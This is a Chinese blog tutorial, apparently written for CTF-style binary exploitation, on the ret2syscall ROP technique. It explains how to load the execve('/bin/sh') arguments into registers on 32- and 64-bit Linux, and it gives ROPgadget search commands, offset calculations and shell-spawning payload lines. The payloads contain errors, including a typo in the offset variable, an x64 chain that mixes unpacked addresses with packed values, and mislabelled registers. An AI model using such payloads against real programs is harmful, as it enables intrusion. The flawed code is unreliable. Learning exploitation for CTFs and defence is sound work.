RET2syscall
原理
-
基本rop之一,意为call system,控制程序执行系统调用,获取shell。
X32
我们的目的是要把对应获取 shell 的系统调用的参数放到对应的寄存器中。即:
execve("/bin/sh",NULL,NULL)
向寄存器存放的参数分别为:
-
系统调用号,即 eax 应该为 0xb “此为execve对应的系统调用号”
-
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
-
第二个参数,即 ecx 应该为 0
-
第三个参数,即 edx 应该为 0
-
int 0x80(触发中断)
而想要完成参数存入就需要构造rop链,这是就需要这些寄存器的地址了,所以自然而然我们就想到了一个工具:ROP gadgets
-
eax:
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
-
others:
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
一般我们可以直接找出ebx,ecx,edx三个寄存器连在一起的地址,这样便于我们直接修改。
3.bin_sh:
ROPgadget --binary rop --string '/bin/sh'
这里我们也可以直接·在ida中shift+12直接找出
4.int 0x80:
ROPgadget --binary rop --only 'int'
之后我们写上payload输出交互就可以了
payload=b'a'*0ffest+p32(pop_eax_ret)+p32(0x0b)+p32( pop_edx_ecx_ebx_ret)+p32(0x0)+p32(0x0)+p32(bin_sh)+p32(int_0x80) #offest为s到ebp的偏移量+4 需要使用gbd调试
EXP:
-
可以看到 esp 为 0xffffcd40,ebp 为具体的 payload 如下 0xffffcdc8,同时 s 相对于 esp 的索引为 [esp+0x1c],所以,s 的地址为 0xffffcd5c,所以 s 相对于 ebp 的偏移为 0x6C,所以相对于返回地址的偏移为 0x6c+4。
当然,我们也可以通过bp-64h直接看出偏移量,但是这里32位编译器编译出来的位移量是有误的,所以最好还是用gbd运行一下看看
X64
与32位类似,但是传参的寄存器是rdi->rsi->rdx->rcx->r8->r9,即把需要的系统调用号给rax(64位),把rdx,rsi置零(因为是pop释放参数,所以与传参顺序相反)。且ret返回的函数名不同
-
32位为int 0x80,64位为syscall ret
64位binary下的shell:
-
rax:59
-
rdi:bin_sh_addr
-
rsi:0
-
rdx:0
-
rcx:0
-
syscall
和32位一样,我们先用ROP找出其中对应的寄存器的地址
-
rax:
ROPgadget --binary demo --only 'pop|ret' | grep 'rax'
-
rsi:
ROPgadget --binary demo --only 'pop|ret' | grep 'rsi'
-
bin_sh:
ROPgadget --binary demo --string '/bin/sh'
-
syscall:
ROPgadget --binary demo | grep 'syscall'
-
rdi:
ROPgadget --binary demo --only 'pop|ret' | grep 'rdi'
之后写出payload即可
payload=b'a'*offest+rdi_addr+bin_sh+eax_rdx_ebx_addr+p64(0x3b)+p64(0x0)+p64(0X0)+rsi_addr+p64(0x0)+syscall_addr#这里的eax其实就是rax
本文来自博客园,作者:T_FIRE,转载请注明原文链接:https://www.cnblogs.com/TFIRE/p/18451033
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人